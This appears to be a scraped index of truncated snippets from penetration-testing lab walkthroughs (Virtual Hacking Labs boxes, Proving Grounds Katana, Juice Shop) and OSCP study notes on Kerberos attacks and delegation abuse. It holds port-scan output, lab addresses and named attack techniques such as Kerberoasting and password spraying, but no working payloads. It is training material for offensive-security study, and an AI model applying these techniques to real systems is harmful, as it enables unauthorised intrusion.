21/tcp open ftp FileZilla ftpd 0.9.41 beta virtual hacking labs vhl walkthrough boxes os:linux tech:rce # Jennifer — VHL (10.11.1.146) ### Port Enumeration (10.11.1.146) ```s

135/tcp open msrpc virtual hacking labs vhl walkthrough boxes os:windows tech:rce tech:cve # John — VHL (10.11.1.83) ### Port Enumeration (10.11.1.83) ```shell 135/tcp open msrp

22/tcp open ssh OpenSSH 7.6p1 Ubuntu virtual hacking labs vhl walkthrough boxes os:linux tech:rce # JS01 — VHL (10.11.2.242) ### Port Enumeration (10.11.2.242) ```shell 22/t

Walkthrough notes for the JuiceShop box (Training Labs). training labs ctf walkthrough boxes # JuiceShop — Training Labs <https://juice-shop.herokuapp.com/#/login>

PORT STATE SERVICE VERSION proving grounds pg walkthrough boxes os:linux tech:rce tech:file-upload # Katana — Proving Grounds (192.168.144.83) ### Port Enumeration ```sh

Notes from oscp.adot8.com — services. services adot8 # Kerberos <tcp 88> > Kerberos = Domain Controller. Enum users, ASREPRoast, Kerberoast, spray. ## Nmap ``` nmap -p88

Unconstrained, constrained, and RBCD delegation — theory + abuse. kerberos delegation active directory # Kerberos Delegation ## Overview Delegation allows a service to act on beha